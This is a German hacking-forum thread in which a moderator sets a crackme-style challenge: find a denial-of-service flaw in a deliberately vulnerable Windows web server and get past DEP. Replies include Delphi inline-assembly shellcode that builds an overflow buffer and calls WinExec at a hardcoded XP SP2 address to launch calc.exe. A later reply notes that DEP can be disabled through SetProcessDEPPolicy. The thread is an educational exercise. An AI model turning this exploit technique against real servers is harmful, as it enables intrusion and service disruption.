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Diskussion: HaboDown - Denial of Service im Forum Hacks & Crackmes, in der Kategorie Software Home; Anzeige Die KIs des Habo Teams haben endlich einen Weg gefunden, die Weltherrschaft zu übernehemen - oder zumindest einen sehr ...
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| Moderator ![]() Registriert seit: 20.07.05 ![]() ![]() ![]() ![]() ![]() ![]() Likes: 202 | Anzeige Die KIs des Habo Teams haben endlich einen Weg gefunden, die Weltherrschaft zu übernehemen - oder zumindest einen sehr großen Schritt in diese Richtung zu machen! Eine einzigartige Möglichkeit, die sich beim ersten Vollmond nach dem Start des großen Hadron Colliders anbietet: Jeder, der in diesen 24 Stunden Habo besucht, kann durch ein spezielles Bild beeinflusst werden - durch das spezielle Muster wird sein Unterbewusstsein so umprogrammiert, dass er ein ewiger Diener des großen HABO wird! Um in dieser Nacht möglichst viele Besucher abfertigen zu können, wird eine spezielle Serversoftware benutzt, die (laut Firmenversprechungen) sehr sehr schnell sein soll. Du bist zufällig an diese Software gekommen - nun lieg es nur an Dir, die Menschheit zu retten! Der Server wird voraussichtlich mit Windows betrieben - Version ist allerdings nicht bekannt (ab Windows 2000 bis hin zu 2008). Es genügt allerdings, erstmal einen prinzipellen Fehler zu finden - es gibt einige Widerstandskämpfer mit unterschedlichsten Windowskonfigruationen, die sie Dir gerne zur Verfügung stellen werden. Wer weiß, vielleicht gibt es auch eine Möglichkeit, das Ganze Versionsunabhängig zu gestalten? Deine Aufgaben: Untersuche die Software. 1.Welche Möglichkeiten gibt es, den Server lahmzulegen? 2.Gibt es auch eine Möglichkeit, wenn der Server auf einem Intel Octa-Core mit 64GB RAM und eine Client-Request Begrenzung auf ein Request pro Minute pro Client (um DOS Attaken zu vermeiden) läuft? 3. Funktioniert es auch, wenn DEP aktiviert wurde? 4.Setze eine (prinzipelle) Möglichkeit eines Denial of Service Angriffs um (vorgefertigte Shellcodes sollten nicht benutzt werden, da diese durch einen Filter automatisch entdeckt werden könnten - was Dir bei einer Entdeckung blüht, möchtest Du gar nicht wissen!). Erweitert: Falls Dein Vorgehen von der Windowsversion abhängig ist: Setze ein Programm um, welches bei Deinen Verbündeten die nötige Windows-Infromation auslesen und anzeigen/Deinen Exploit anpassen kann. Damit deckst Du die unterschiedlichen Windowsversionen ab. Achtung: führe alle Vorbereitungen und Tests nur LOCAL durch! Sonst werden die KIs nur vorgewarnt - und Dich ereilt das gleiche Schicksal wie die Hacker in "Stirb langsam 4.0" ! Hinweise zur Software: Standardmäßig läuft der Server auf Port 80 und holt Daten aus "myweb" oder "errors". Dies kann durch die beigelegte Konfigurationsoftware geändert werden. Auf dem Haboserver wird später die Originalkonfiguration verwendet. Viel Erfolg!
__________________ Noch mal, für alle Pseudo-Geeks: 1+1=0. -> 10 wäre Überlauf! Selig, wer nichts zu sagen hat und trotzdem schweigt. |
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| | #3 (permalink) |
| Moderator ![]() Registriert seit: 20.07.05 ![]() ![]() ![]() ![]() ![]() ![]() Likes: 202 | Sorry für ein kleines Update "mittendrin", aber ganz so einfach sollte es nun auch nicht werden Edit: nochmal, etwas debuggerfreundlicher.
__________________ Noch mal, für alle Pseudo-Geeks: 1+1=0. -> 10 wäre Überlauf! Selig, wer nichts zu sagen hat und trotzdem schweigt. |
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| | #4 (permalink) |
| Registriert seit: 27.09.05 ![]() Likes: 4 | Sehr sehr nett gemacht .Fuehrt shellcode auf dem Server aus und spawnt eine calc.exe -> muss die erste TCP-Anfrage sein, da sonst der stack nicht mehr stimmt. Code: procedure MyShellCode; assembler;
asm
push 5
call @@deltacall
@@deltacall:
pop eax
jmp @@go
db 'calc.exe',0
@@go:
add eax, 3
push eax
mov eax, $7C86136D //WinXPSP2: kernel32::WinExec
call eax
retn
end;
function GetProcSize(p: pByte):DWord;
begin
result := 0;
repeat
inc(result);
inc(p);
until (p^ = $C3) or (p^ = $C2);
end;
var
s: String;
iShellCodeLen: DWord;
begin
setlength(s, 1024);
ZeroMemory(@s[1], 1024);
iShellCodeLen := GetProcSize(@MyShellCode);
pDWord(@s[1001])^ := $00DCEAB8 - iShellCodeLen;
copymemory(@s[1001 - iShellCodeLen], @MyShellCode, iShellCodeLen);
end; |
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| | #5 (permalink) |
| Registriert seit: 07.03.08 ![]() Likes: 0 | cdw, ist das ein inofizieller Pen-Test für deinen mini Webserver? |
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| | #6 (permalink) | |
| Moderator ![]() Registriert seit: 20.07.05 ![]() ![]() ![]() ![]() ![]() ![]() Likes: 202 | Zitat:
__________________ Noch mal, für alle Pseudo-Geeks: 1+1=0. -> 10 wäre Überlauf! Selig, wer nichts zu sagen hat und trotzdem schweigt. | |
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| | #7 (permalink) |
| Registriert seit: 23.11.08 ![]() Likes: 0 | Ich finds auch wirklich sehr gut gemacht. Würde gern mehr sowas sehen. Hab auch noch etwas interessantes gefunden: Klick: |
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| | #8 (permalink) |
| Member of Honour ![]() Registriert seit: 05.03.08 ![]() ![]() ![]() ![]() ![]() Likes: 246 | Ist zwar schon etwas her, aber es erschien mir als ein guter Einstieg ins Thema. In Pyhton DEP ist tendenziell auch nicht so die Hürde (um den Server lahmzulegen eh nicht, aber ich wuerd gern etwas Shellcode ausfuehren). Zu mindest nicht unter XP, da hier DEP per default auf OptIn gesetzt ist, dh man kann es ausstellen, indem man iwie SetProcessDEPPolicy(0); aufruft. Das Funktioniert auch gut, aber leider nicht "mein" WinExec call (im Prinzip ists von ReDoX abgeschrieben |
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